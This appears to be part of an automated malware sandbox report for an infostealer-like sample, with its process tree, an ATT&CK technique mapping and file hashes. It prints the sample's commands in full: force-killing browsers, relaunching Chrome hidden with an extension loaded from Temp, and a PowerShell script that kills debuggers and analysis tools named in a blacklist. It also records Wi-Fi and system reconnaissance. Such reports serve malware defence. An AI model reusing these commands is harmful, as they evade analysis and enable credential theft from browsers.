  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4200
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM thorium.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2768
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM thorium.exe /T
    3⤵
    - Kills process with taskkill
    PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chromium.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:3720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chromium.exe /T
    3⤵
    - Kills process with taskkill
    PID:2836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2200
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:4280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe /T"
  2⤵
  PID:1276
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM centbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:548
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM iridium.exe /T"
  2⤵
  PID:4488
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM iridium.exe /T
    3⤵
    - Kills process with taskkill
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM dcbrowser.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:1876
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM dcbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ur.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:412
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ur.exe /T
    3⤵
    - Kills process with taskkill
    PID:3032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epic.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2108
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM epic.exe /T
    3⤵
    - Kills process with taskkill
    PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "timeout /t 1"
  2⤵
  - Executes a command shell one-liner
  PID:1488
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:2400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --load-extension=C:\Users\Admin\AppData\Local\Temp\skext_hjyaew4w2br --disable-extensions-except=C:\Users\Admin\AppData\Local\Temp\skext_hjyaew4w2br --no-first-run --no-default-browser-check --window-position=-32000,-32000 --window-size=100,100 --disable-features=BraveNews,BraveRewards,BraveAds --no-sandbox --disable-setuid-sandbox
  2⤵
  PID:2148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff86d75c728,0x7ff86d75c734,0x7ff86d75c740
    3⤵
    PID:2208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1776,i,5004051915807338668,3100578055644529578,262144 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:2592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=1612,i,12794700120615484264,15114993816925058927,524288 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2152 /prefetch:3
    3⤵
    - System Time Discovery
    PID:2932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,8989271403215194986,3837841139771523002,524288 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2324 /prefetch:8
    3⤵
    PID:2884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3068,i,11536733641427902297,5466748835885915157,2097152 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3084 /prefetch:1
    3⤵
    PID:1140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,12263235382020323390,1826395627395467124,2097152 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3108 /prefetch:1
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4128,i,14884990900678188879,1645187948883998539,2097152 --field-trial-handle=1920,i,17304088208878961289,6124385491138990589,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4104 /prefetch:1
    3⤵
    PID:5128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:2264
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | ForEach-Object { $_.DeviceID+','+$_.FreeSpace+','+$_.Size }""
  2⤵
  PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk -Filter 'DriveType=3' | ForEach-Object { $_.DeviceID+','+$_.FreeSpace+','+$_.Size }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5144
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption""
  2⤵
  - Executes a command shell one-liner
  PID:5328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_Processor | Select-Object -First 1).Name""
  2⤵
  - Executes a command shell one-liner
  PID:5516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_Processor | Select-Object -First 1).Name"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5556

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2932

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 7e2c4af48f317040e912501633a37c1eeecf896744ed7db27ce4266d79be1879
MD5 610fd2b07b244743680b216aaaffe719
SHA1 a48095b999fa1d053f6ac9bd025825e7731dce6d
SHA512 5cb724fc492473e07622abf64d4715e12145b2230a52ca9431a1932693c08eff25421457734272482ea21980e086325fd29d0485a5de9c91e9cec1a07008f17a
SSDEEP 3072:AdGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:Pm7Rkm1tYpBeh2BAog
TLSH
T1B9C3023B9D75EC3B5CB5A74EB48E0F1E2EF149A6C920DE9288D85A0437F97CD0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 4263e18a993ae6da36463829ecf6f02b13035555a6f83c6f9aa048cf1151f7cc
MD5 e52ff3673869a8c21697e9cc80b586a9
SHA1 d86961b3dcd781a87ad6360bd69c0e4ad6ad3456
SHA512 70e7ffc8794613d45666be095dcdb22cea7b7ea27a910cdaee1f1d3a7e313b3b0cbf5bb0889cfa4cc9b7b93963302d259d73f7ed315b15f5d8d11c0e6b1d7ead
TLSH
T1F051EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c03c91dd74498cc33a32d616fb3050ad954ed4f57e671e2e9651aedb7b128ff3
MD5 d30f23b777856a4a772cbe961f7b3343
SHA1 7b4f11fe65abb9620e0dbfeee619097a4648e70d
SHA512 64fa5e6ca5021734b620f79ded479d44ce30d4bd58ae9cdbee49fe1b251d6bd779a3b62708afafe90c37491259efc348d7fb2cb774d74668671c6295dca793d3
TLSH
T1E4415C303221B8D84D436F1315286ED5A3EF478AAFA89F5CB569231DCD2A45BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download